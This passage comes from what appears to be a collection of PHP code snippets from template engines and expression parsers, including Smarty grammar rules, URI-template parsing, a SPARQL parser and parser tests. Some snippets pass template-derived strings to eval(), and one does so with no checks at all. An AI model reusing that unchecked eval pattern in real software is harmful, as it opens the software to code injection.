0]->minor . '\\')'; }", "public function getExpression();", "function yy_r129()\n {\n if ($this->yystack[$this->yyidx + - 1]->minor['var'] == '\\'smarty\\'') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index']) . $this->yystack[$this->yyidx + 0]->minor;\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + - 1]->minor['var']) . $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index'] . $this->yystack[$this->yyidx + 0]->minor;\n }\n }", "protected function parseExpression($expression) {\n\t\t// Check for URI operators\n\t\t$operator = '';\n\n\t\tif (isset(self::$operatorHash[$expression[0]])) {\n\t\t\t$operator = $expression[0];\n\t\t\t$expression = substr($expression, 1);\n\t\t}\n\n\t\t$values = explode(',', $expression);\n\t\tforeach ($values as &$value) {\n\t\t\t$value = trim($value);\n\t\t\t$varspec = array();\n\t\t\t$substrPos = strpos($value, ':');\n\t\t\tif ($substrPos) {\n\t\t\t\t$varspec['value'] = substr($value, 0, $substrPos);\n\t\t\t\t$varspec['modifier'] = ':';\n\t\t\t\t$varspec['position'] = (int) substr($value, $substrPos + 1);\n\t\t\t} elseif (substr($value, -1) == '*') {\n\t\t\t\t$varspec['modifier'] = '*';\n\t\t\t\t$varspec['value'] = substr($value, 0, -1);\n\t\t\t} else {\n\t\t\t\t$varspec['value'] = (string) $value;\n\t\t\t\t$varspec['modifier'] = '';\n\t\t\t}\n\t\t\t$value = $varspec;\n\t\t}\n\n\t\treturn array(\n\t\t\t'operator' => $operator,\n\t\t\t'values' => $values\n\t\t);\n\t}", "public static function parse($tpl, $hash) {\n\t\n\t foreach ($hash as $key => $value) \n\t {\n\t $tpl = str_replace('[+'.$key.'+]', $value, $tpl);\n\t }\n\t return $tpl;\n\t}", "function yy_r71(){ $this->prefix_number++; $this->compiler->prefix_code[] = '<?php $_tmp'.$this->prefix_number.'=$_smarty_tpl->getVariable(\\''. $this->yystack[$this->yyidx + -4]->minor .'\\')->value;?>'; $this->_retvalue = $this->yystack[$this->yyidx + -7]->minor.'::$_tmp'.$this->prefix_number.'('. $this->yystack[$this->yyidx + -2]->minor .')'.$this->yystack[$this->yyidx + 0]->minor; }", "public function regexExpression(){\n try {\n // Sparql11query.g:517:3: ( REGEX OPEN_BRACE expression COMMA expression ( COMMA expression )? CLOSE_BRACE ) \n // Sparql11query.g:518:3: REGEX OPEN_BRACE expression COMMA expression ( COMMA expression )? CLOSE_BRACE \n {\n $this->match($this->input,$this->getToken('REGEX'),self::$FOLLOW_REGEX_in_regexExpression1889); \n $this->match($this->input,$this->getToken('OPEN_BRACE'),self::$FOLLOW_OPEN_BRACE_in_regexExpression1891); \n $this->pushFollow(self::$FOLLOW_expression_in_regexExpression1893);\n $this->expression();\n\n $this->state->_fsp--;\n\n $this->match($this->input,$this->getToken('COMMA'),self::$FOLLOW_COMMA_in_regexExpression1895); \n $this->pushFollow(self::$FOLLOW_expression_in_regexExpression1897);\n $this->expression();\n\n $this->state->_fsp--;\n\n // Sparql11query.g:518:48: ( COMMA expression )? \n $alt56=2;\n $LA56_0 = $this->input->LA(1);\n\n if ( ($LA56_0==$this->getToken('COMMA')) ) {\n $alt56=1;\n }\n switch ($alt56) {\n case 1 :\n // Sparql11query.g:518:49: COMMA expression \n {\n $this->match($this->input,$this->getToken('COMMA'),self::$FOLLOW_COMMA_in_regexExpression1900); \n $this->pushFollow(self::$FOLLOW_expression_in_regexExpression1902);\n $this->expression();\n\n $this->state->_fsp--;\n\n\n }\n break;\n\n }\n\n $this->match($this->input,$this->getToken('CLOSE_BRACE'),self::$FOLLOW_CLOSE_BRACE_in_regexExpression1906); \n\n }\n\n }\n catch (RecognitionException $re) {\n $this->reportError($re);\n $this->recover($this->input,$re);\n }\n catch(Exception $e) {\n throw $e;\n }\n \n return ;\n }", "function smarty_function_p_tag_this($params, &$smarty) \n{ \n if ($params['string']){\n\t\t$string = preg_replace_callback('#\\R+#', 'parseTagsRecursive', $params['string']); /* to be used to inject picures and or ads in the body. */\n $string = preg_replace('/\\n/', '', $string);\n $string = '<p>'.$string.'</p>';\n $result = $string;\n } else {$result = null;}\n\t\n if (isset($params['assign'])) {\n $smarty->assign($params['assign'], $result);\n } else {\n return $result;\n }\n}", "function parseTemplateText()\r\n\t{\r\n\t\t$buf = '';\r\n\t\t// we only need this if we are going to use JSP tags for wrapping\r\n\t\t// scriptlet blocks\r\n\t\t//if ($this->reader->matches('<' . '\\\\%'))\r\n\t\t//{\r\n\t\t//\t$buf .= '<' . '%';\r\n\t\t//}\r\n\r\n\t\t$buf .= $this->reader->nextContent();\r\n\r\n\t\t// don't output meaningless whitespace\r\n\t\tif (trim($buf) == '')\r\n\t\t{\r\n\t\t\treturn '';\r\n\t\t}\r\n\t\telseif ($this->ctxt->options->isElIgnored() || strpos($buf, '${') === false)\r\n\t\t{\r\n\t\t\treturn $buf;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn '<?php echo $pageContext->evaluateTemplateText(' . StringUtils::quote($buf) . ');?>';\r\n\t\t}\r\n\t}", "protected function parseVars($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{\\$(.*?)\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignVar($matches[1]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {$var}\n\t\treturn $template;\n\t}", "public function parse($expression)\n\t{\n\t\tif(preg_match('/^\\#\\#(.+)$/', $expression, $found))\n\t\t{\n\t\t\treturn array('bare' => '$this->_data[\\''.$found[1].'\\']', 'type' => Opt_Compiler_Class::COMPOUND);\n\t\t}\n\t\treturn array('bare' => '0', 'type' => Opt_Compiler_Class::SCALAR);\n\t}", "public function testOperators()\n {\n $parser = new HTML_Template_Nest_Parser();\n $output = $parser->parse('${some_var + some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var + some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') + \\$_o(\\$p, 'some_other_var'))?>\", \n $output\n );\n $output = $parser->parse('${some_var < some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var < some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') < \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var <= some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var <= some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') <= \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var > some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var > some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') > \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var >= some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var >= some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') >= \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var == some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var == some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') == \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var != some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var != some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') != \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${(some_var % some_other_var) == 0}');\n $this->assertEquals(\n \"<?php /* {(some_var % some_other_var) == 0} */ echo htmlentities((\\$_o(\\$p, 'some_var') % \\$_o(\\$p, 'some_other_var')) == 0)?>\", $output\n );\n $output = $parser->parse('${some_var / some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var / some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') / \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var * some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var * some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') * \\$_o(\\$p, 'some_other_var'))?>\", $output\n );\n $output = $parser->parse('${some_var - some_other_var}');\n $this->assertEquals(\n \"<?php /* {some_var - some_other_var} */ echo htmlentities(\\$_o(\\$p, 'some_var') - \\$_o(\\$p, 'some_other_var'))?>\", $output, \"my name\"\n );\n $output = $parser->parse('${(a + b + c) * (d - 3)}');\n $this->assertEquals(\n \"<?php /* {(a + b + c) * (d - 3)} */ echo htmlentities((\\$_o(\\$p, 'a') + \\$_o(\\$p, 'b') + \\$_o(\\$p, 'c')) * (\\$_o(\\$p, 'd') - 3))?>\", \n $output\n );\n $output = $parser->parse('${(a + b + c) && (d - 3)}');\n $this->assertEquals(\n \"<?php /* {(a + b + c) && (d - 3)} */ echo htmlentities((\\$_o(\\$p, 'a') + \\$_o(\\$p, 'b') + \\$_o(\\$p, 'c')) && (\\$_o(\\$p, 'd') - 3))?>\", \n $output\n );\n $output = $parser->parse('${(a + b + c) || (d - 3)}');\n $this->assertEquals(\n \"<?php /* {(a + b + c) || (d - 3)} */ echo htmlentities((\\$_o(\\$p, 'a') + \\$_o(\\$p, 'b') + \\$_o(\\$p, 'c')) || (\\$_o(\\$p, 'd') - 3))?>\",\n $output\n );\n $output = $parser->parse('${foo == \\'a\\'}');\n $this->assertEquals(\"<?php /* {foo == 'a'} */ echo htmlentities(\\$_o(\\$p, 'foo') == 'a')?>\", $output);\n $output = $parser->parse('${foo == \"b\"}');\n $this->assertEquals(\"<?php /* {foo == \\\"b\\\"} */ echo htmlentities(\\$_o(\\$p, 'foo') == \\\"b\\\")?>\", $output); \n \n $output = $parser->parse('${(foo == \"b\" ? \"black\" : \"red\")}');\n $this->assertEquals(\n \"<?php /* {(foo == \\\"b\\\" ? \\\"black\\\" : \\\"red\\\")} */ echo htmlentities((\\$_o(\\$p, 'foo') == \\\"b\\\" ? \\\"black\\\" : \\\"red\\\"))?>\", \n $output\n ); \n $output = $parser->parseExpression('director->isLoggedIn() &amp;&amp; director->isSiteAdmin()');\n $this->assertEquals(\n \"\\$_o(\\$p, 'director')->isLoggedIn() && \\$_o(\\$p, 'director')->isSiteAdmin()\", \n $output\n );\n \n\n $parser->registerVariable(null, \"_field\");\n $output = $parser->parse('${_field->class != \\'\\' ? _field->class : \\'\\'}${(_field->error != \\'\\' ? \\' errored\\' : \\'\\')}');\n $this->assertEquals(\n '<?php /* {_field->class != \\'\\' ? _field->class : \\'\\'} */ echo htmlentities($_field->class != \\'\\' ? $_field->class : \\'\\')?><?php /* {(_field->error != \\'\\' ? \\' errored\\' : \\'\\')} */ echo htmlentities(($_field->error != \\'\\' ? \\' errored\\' : \\'\\'))?>',\n $output);\n $parser->unregisterVariable(null, \"_field\");\n \n }", "function yy_r69(){ $this->prefix_number++; $this->compiler->prefix_code[] = '<?php $_tmp'.$this->prefix_number.'=$_smarty_tpl->getVariable(\\''. $this->yystack[$this->yyidx + -3]->minor .'\\')->value;?>'; $this->_retvalue = $this->yystack[$this->yyidx + -6]->minor.'::$_tmp'.$this->prefix_number.'('. $this->yystack[$this->yyidx + -1]->minor .')'; }", "function yy_r9()\n {\n if ($this->is_xml) {\n $this->is_xml = false;\n $this->compiler->template_code->php(\"echo '?>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '?>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '?&gt;';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n $this->text_is_php = false;\n }\n }", "public function parse_template ($val) {\n\t\t$val = str_replace (\n\t\t\tarray (\n\t\t\t\t'\\\\{{', '\\\\}}', '\\\\{%', '\\\\%}', '\\\\{\"', '\\\\\"}', '\\\\{\\'', '\\\\\\'}',\n\t\t\t\t'\\\\{!', '\\\\!}', '\\\\{#', '\\\\#}'\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'#EOBRACE#', '#ECBRACE#', '#EOBLOCK#', '#ECBLOCK#', '#EOQUOTE#', '#ECQUOTE#',\n\t\t\t\t'#EOQUOTE#', '#ECQUOTE#', '#EOINCLUDE#', '#ECINCLUDE#', '#EOHARDCODE#',\n\t\t\t\t'#ECHARDCODE#'\n\t\t\t),\n\t\t\t$val\n\t\t);\n\t\t$val = preg_replace_callback ('/\\{\\{ ?(.*?) ?\\}\\}/', array ($this, 'replace_vars'), $val);\n\t\t$val = preg_replace_callback ('/\\{[\\'\"] ?(.*?) ?[\\'\"]\\}/', array ($this, 'replace_strings'), $val);\n\t\t$val = preg_replace_callback ('/\\{\\% ?(.*?) ?\\%\\}/', array ($this, 'replace_blocks'), $val);\n\t\t$val = preg_replace_callback ('/\\{\\! ?(.*?) ?\\!\\}/s', array ($this, 'replace_includes'), $val);\n\t\t$val = preg_replace_callback ('/\\{# ?(.*?) ?#\\}/s', array ($this, 'hard_codes'), $val);\n\t\t$val = str_replace (\n\t\t\tarray (\n\t\t\t\t'#EOBRACE#', '#ECBRACE#', '#EOBLOCK#', '#ECBLOCK#', '#EOQUOTE#', '#ECQUOTE#',\n\t\t\t\t'#EOINCLUDE#', '#ECINCLUDE#', '#EOHARDCODE#', '#ECHARDCODE#'),\n\t\t\tarray (\n\t\t\t\t'{{', '}}', '{%', '%}', '{\"', '\"}', '{!', '!}', '{#', '#}'\n\t\t\t),\n\t\t\t$val\n\t\t);\n\t\treturn $val;\n\t}", "function yy_r6(){ \r\n if ($this->sec_obj->php_handling == SMARTY_PHP_PASSTHRU || $this->sec_obj->php_handling == SMARTY_PHP_ALLOW) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '<?=\".$this->yystack[$this->yyidx + -1]->minor.\"?>'?>\\n\", $this->compiler, false);\r\n } elseif ($this->sec_obj->php_handling == SMARTY_PHP_QUOTE) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(htmlspecialchars('<?='.$this->yystack[$this->yyidx + -1]->minor.'?>', ENT_QUOTES), $this->compiler, false);\r\n }elseif ($this->sec_obj == SMARTY_PHP_REMOVE) {\r\n $this->_retvalue = '';\r\n }\r\n }", "function yy_r10(){ $this->_retvalue = $this->compiler->compileTag('print_expression',array_merge(array('value'=>$this->yystack[$this->yyidx + -2]->minor),$this->yystack[$this->yyidx + -1]->minor)); }", "function yy_syntax_error($yymajor, $TOKEN)\r\n {\r\n#line 60 \"smarty_internal_templateparser.y\"\r\n\r\n $this->internalError = true;\r\n $this->yymajor = $yymajor;\r\n $this->compiler->trigger_template_error();\r\n#line 2581 \"smarty_internal_templateparser.php\"\r\n }", "function yy_r106()\n {\n if ($this->yystack[$this->yyidx + 0]->minor['var'] == 'smarty') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index']);\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + 0]->minor['var']) . $this->yystack[$this->yyidx + 0]->minor['smarty_internal_index'];\n }\n }", "public static function resolve($_str) {\n\t\t// Analyze string for correct framework expression syntax\n\t\t$_str=preg_replace_callback(\n\t\t\t// Expression\n\t\t\t'/\\{('.\n\t\t\t\t// Capture group\n\t\t\t\t'(?:'.\n\t\t\t\t\t// Variable token\n\t\t\t\t\t'@\\w+\\b(?:\\[[^\\]]+\\]|\\.\\w+\\b)*|'.\n\t\t\t\t\t// Function/method/parenthesized expression\n\t\t\t\t\t'\\w*\\h*[\\(\\,\\)]|'.\n\t\t\t\t\t// Whitespaces and operators\n\t\t\t\t\t'[\\h\\?\\.\\+\\-\\*\\/%!=<>&\\|:]|'.\n\t\t\t\t\t// String and numeric constants\n\t\t\t\t\t'\\'[^\\']*\\'|\"[^\"]*\"|\\d*\\.?\\d+(?:e\\d+)*|'.\n\t\t\t\t\t// Null and boolean constants\n\t\t\t\t\t'NULL|TRUE|FALSE'.\n\t\t\t\t// End of captured string\n\t\t\t\t')+'.\n\t\t\t// End of expression\n\t\t\t')\\}/i',\n\t\t\t// Evaluate expression; This will cause a syntax error\n\t\t\t// if framework is running on an old version of PHP!\n\t\t\tfunction($_expr) {\n\t\t\t\t// Find and replace variables\n\t\t\t\treturn eval('return (string)'.\n\t\t\t\t\tpreg_replace_callback(\n\t\t\t\t\t\t// Framework variable\n\t\t\t\t\t\t'/@(\\w+\\b(?:\\[[^\\]]+\\]|\\.\\w+\\b)*)/',\n\t\t\t\t\t\tfunction($_var) {\n\t\t\t\t\t\t\t$_val=F3::get($_var[1]);\n\t\t\t\t\t\t\t// Retrieve variable contents\n\t\t\t\t\t\t\treturn !is_object($_val) ||\n\t\t\t\t\t\t\t\tmethod_exists($_val,'__set_state')?\n\t\t\t\t\t\t\t\t\tvar_export($_val,TRUE):(string)$_val;\n\t\t\t\t\t\t},\n\t\t\t\t\t\tpreg_replace_callback(\n\t\t\t\t\t\t\t// Function\n\t\t\t\t\t\t\t'/(\\w+)\\h*\\(([^\\)]*)\\)/',\n\t\t\t\t\t\t\tfunction($_val) {\n\t\t\t\t\t\t\t\treturn ($_val[1].trim($_val[2]))=='array'?\n\t\t\t\t\t\t\t\t\t// Null out empty array\n\t\t\t\t\t\t\t\t\t'\\'\\'':\n\t\t\t\t\t\t\t\t\t// check if prohibited function\n\t\t\t\t\t\t\t\t\t(F3::allowed($_val[1])?\n\t\t\t\t\t\t\t\t\t\t$_val[0]:('\\''.$_val[0].'\\''));\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t$_expr[1]\n\t\t\t\t\t\t)\n\t\t\t\t\t).';'\n\t\t\t\t);\n\t\t\t},\n\t\t\t// Coerce input\n\t\t\t(string)$_str\n\t\t);\n\t\tif (preg_last_error()!=PREG_NO_ERROR) {\n\t\t\ttrigger_error(self::TEXT_PCRELimit);\n\t\t\treturn FALSE;\n\t\t}\n\t\treturn $_str;\n\t}", "function evaluateExpression($expression)\n\t{\n\t\treturn eval('return '.$expression.';');\n\t}", "function _expr_token_parse_params($expr)\n {\n $params = array();\n $cpos = 0;\n $instring = FALSE;\n $instring_delim = '';\n $bnl = 0;\n $size = strlen($expr);\n $param = '';\n while ($cpos <= $size)\n {\n if ($cpos == $size) {$params[] = $this->_expr_token($param); break;}\n $char = $expr[$cpos];\n if (!$instring)\n {\n if ($char == '\"' or $char == '\\'') {$instring = TRUE; $instring_delim = $char;}\n elseif ($char == '(') {$bnl++;}\n elseif ($char == ')') {$bnl--;}\n }\n else\n {\n if ($char == $instring_delim and $expr[$cpos-1] != '\\\\') {$instring = FALSE;}\n }\n if (!$instring and $bnl == 0 and $char == ',') {$params[] = $this->_expr_token($param); $param = '';}\n else {$param .= $char;}\n $cpos++;\n }\n return $params;\n }", "function yy_r29()\n {\n $this->_retvalue = $this->compiler->compileTag('assign', array_merge(array(array('value' => $this->yystack[$this->yyidx + - 1]->minor), array('var' => $this->yystack[$this->yyidx + - 3]->minor['var'])), $this->yystack[$this->yyidx + 0]->minor), array('smarty_internal_index' => $this->yystack[$this->yyidx + - 3]->minor['smarty_internal_index']));\n }", "function yy_r111()\n {\n $this->_retvalue = array('var' => $this->yystack[$this->yyidx + - 1]->minor, 'smarty_internal_index' => $this->yystack[$this->yyidx + 0]->minor);\n }", "private function parseExpression($expression)\n {\n // Check for URI operators\n $operator = '';\n\n if (isset(self::$operatorHash[$expression[0]])) {\n $operator = $expression[0];\n $expression = substr($expression, 1);\n }\n\n $values = explode(',', $expression);\n foreach ($values as &$value) {\n $value = trim($value);\n $varspec = array();\n $substrPos = strpos($value, ':');\n if ($substrPos) {\n $varspec['value'] = substr($value, 0, $substrPos);\n $varspec['modifier'] = ':';\n $varspec['position'] = (int) substr($value, $substrPos + 1);\n } elseif (substr($value, -1) == '*') {\n $varspec['modifier'] = '*';\n $varspec['value'] = substr($value, 0, -1);\n } else {\n $varspec['value'] = (string) $value;\n $varspec['modifier'] = '';\n }\n $value = $varspec;\n }\n\n return array(\n 'operator' => $operator,\n 'values' => $values\n );\n }", "function smarty_block_bracket($params, $content, &$smarty, &$repeat)\r\n{\r\n if(!$repeat)\r\n {\r\n if (isset($content)) \r\n {\r\n // do some intelligent translation thing here with $content\r\n return '{' . $content . '}';\r\n }\r\n }\r\n}", "function smarty_function_value_filter($params)\n{\n \n App::uses('SmartyComponent', 'Controller/Component');\n $Smarty = new SmartyComponent(new ComponentCollection());\n\n $assignments = array('id_attribute' => $params['id_attribute']\n ,'name_attribute' => $params['name_attribute']\n ,'values_attribute' => $params['values_attribute']);\n if(isset($params['is_active']))$assignments['is_active'] = $params['is_active'];\n if(isset($params['alias_micro_template']))\n {\n $params['template'] = $params['alias_micro_template'];\n $display_template = $Smarty->load_template($params, 'value_filter');\n }\n else $display_template = $params['template'];\n $Smarty->display($display_template, $assignments);\n\n}", "function smarty_modifier_price($string)\n{\n $price = doubleval($string);\n $price = number_format($price,2,'.',',');\n return '$'.$price;\n}", "function yy_r7(){ $this->compiler->tag_nocache = true; $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo '<?xml';?>\", $this->compiler, true); }", "function parse(){ // parsing template\n\t$loop_count = -1;\n\tif (func_num_args()>= 1){\n\t\t$proc_type = func_get_arg(0);\n\t\t//if (!in_array($proc_type, array(PT_ROOT, PT_IF, PT_FOR, PT_SILENT_IF, PT_SILENT_FOR, PT_FALSE_IF))) system_die('Invalid process type', 'Template->parse');\n\t} else {\n\t\tif ( (PT_COMPILE) && (isset($this->filename)) ) // file parsing\n\t\t{\n\t\t\tif (file_exists($this->filename . '.php'))\n\t\t\t\tif (filemtime($this->filename . '.php') > filemtime($this->filename))\n\t\t\t\t{\n\t\t\t\t\tinclude($this->filename . '.php');\n\t\t\t\t\t$this->result = $r;\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t$nesting = 0;\n\t\t\t$tplc = '<?$r=\\'\\';';\n\t\t\tfor ($i=0; $i<count($this->template); $i++)\n\t\t\t{\n\t\t\t\t// process\n\t\t\t\t$line = trim($this->template[$i]);\n\t\t\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\t\t\t$result = array();\n\t\t\t\tif (preg_match(PT_START_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'for ($i' . $nesting . '=0;$i' . $nesting . '<intval(' . $this->get_var_ref($result[3], $nesting) . ');$i' . $nesting . '++){' . \"\\n\";\n\t\t\t\t\t\t$nesting++;\n\t\t\t\t\t}\n\t\t\t\t\telse // this line is IF opening tag\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'if ('.$result[2].'(bool)('.$this->get_var_ref($result[3], $nesting).')){' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t} elseif (preg_match(PT_END_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}' . \"\\n\";\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t\t$nesting--;\n\t\t\t\t} elseif (preg_match(PT_MIDDLE_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}else{' . \"\\n\";\n\t\t\t\t} elseif (preg_match('/<%/', $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$j = 0;\n\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\twhile ($j<strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( ($line[$j] == '<') && ($line[$j+1] == '%') )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_f_value(substr($line, $j), $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t$j += $dw;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tmp_str .= $line[$j];\n\t\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t\t$tplc .= '$r.=\"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($line, $nesting, $dw) . \".\\\"\\\\n\\\";\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$tplc .= '?>';\n\t\t\t\n\t\t\t$fh = fopen($this->filename . '.php', 'wt');\n\t\t\tif ($fh)\n\t\t\t{\n\t\t\t\tfwrite($fh, $tplc);\n\t\t\t\tfclose($fh);\n\t\t\t}\n\t\t\telse\n\t\t\t\tsystem_die('Cannot save compiled template');\n\t\t\tinclude($this->filename . '.php');\n\t\t\t$this->result = $r;\n\t\t\treturn 0;\n\t\t} // if compile and filename\n\t\t$proc_type = PT_ROOT;\n\t\tunset($this->result);\n\t}\n\tif (func_num_args()> 1){\n\t\t$curr_pos = intval(func_get_arg(1));\n\t\tif (($proc_type == PT_FOR) && (func_num_args() < 3)) system_die('Undefined loop count (FOR process)', 'Template->parse');\n\t\tif (func_num_args()> 2) $loop_count = intval(func_get_arg(2));\n\t}\n\telse\n\t\t$curr_pos = 0;\n\t$succ_mode = false;\n\twhile ($curr_pos < sizeof($this->template)){\n\t\t$line = $this->template[$curr_pos]; // current line\n\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\tif (preg_match(PT_START_TAGS, $line, $result)){ // this line contains one of the START tags\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif ($result[1] == 'FOR'){\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){ // invalid FOR variable\n\t\t\t\t\t$error_msg = 'Invalid FOR statement counter named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type <= PT_FOR) $count = intval($this->get_var_val($result[3]));\n\t\t\t\t\t$this->system_vars['cycle_nesting']++;\n\t\t\t\t\t$nesting_saver = $this->system_vars['cycle_nesting'];\n\t\t\t\t\tif ($proc_type> PT_FOR) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($count == 0) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tfor ($c = 0; $c < $count; $c++){\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_counters'][$nesting_saver] = $c;\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_nesting'] = $nesting_saver;\n\t\t\t\t\t\t\t\t$last_pos = $this->parse(PT_FOR, $curr_pos + 1, $c); // create visible FOR process in loop\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$curr_pos = $last_pos;\n\t\t\t\t}\n\t\t\t} else { // this line is IF opening tag\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){\n\t\t\t\t\t$error_msg = 'Invalid IF statement variable named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type>PT_FOR) $curr_type = PT_SILENT_IF;\n\t\t\t\t\telse {\n\t\t\t\t\t\t$var = (bool)$this->get_var_val($result[3]);\n\t\t\t\t\t\tif (strlen($result[2])> 0) $var = !$var;\n\t\t\t\t\t\t$curr_type = ($var)?PT_IF:PT_FALSE_IF;\n\t\t\t\t\t}\n\t\t\t\t\tif ($loop_count!=-1) $curr_pos = $this->parse($curr_type, $curr_pos+1, $loop_count); // create new IF process inside the loop\n\t\t\t\t\telse $curr_pos = $this->parse($curr_type, $curr_pos+1); // create new IF process\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif(preg_match(PT_END_TAGS, $line, $result)){\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (((($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) && ($result[1] == 'FOR')) || ((($proc_type == PT_IF) || ($proc_type == PT_SILENT_IF) || ($proc_type == PT_FALSE_IF)) && ($result[1] == 'IF'))) {\n\t\t\t\tif (($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) $this->system_vars['cycle_nesting']--; // this one was the end of loop block\n\t\t\t\t$succ_mode = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\t$error_msg = 'Unexpected end of '.$result[1].' statement';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif(preg_match(PT_MIDDLE_TAGS, $line, $result)){ // this line contains one of the MIDDLE tags (ELSE probably)\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (($proc_type == PT_FALSE_IF) && ($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_IF;\n\t\t\t} elseif (($proc_type == PT_IF) && 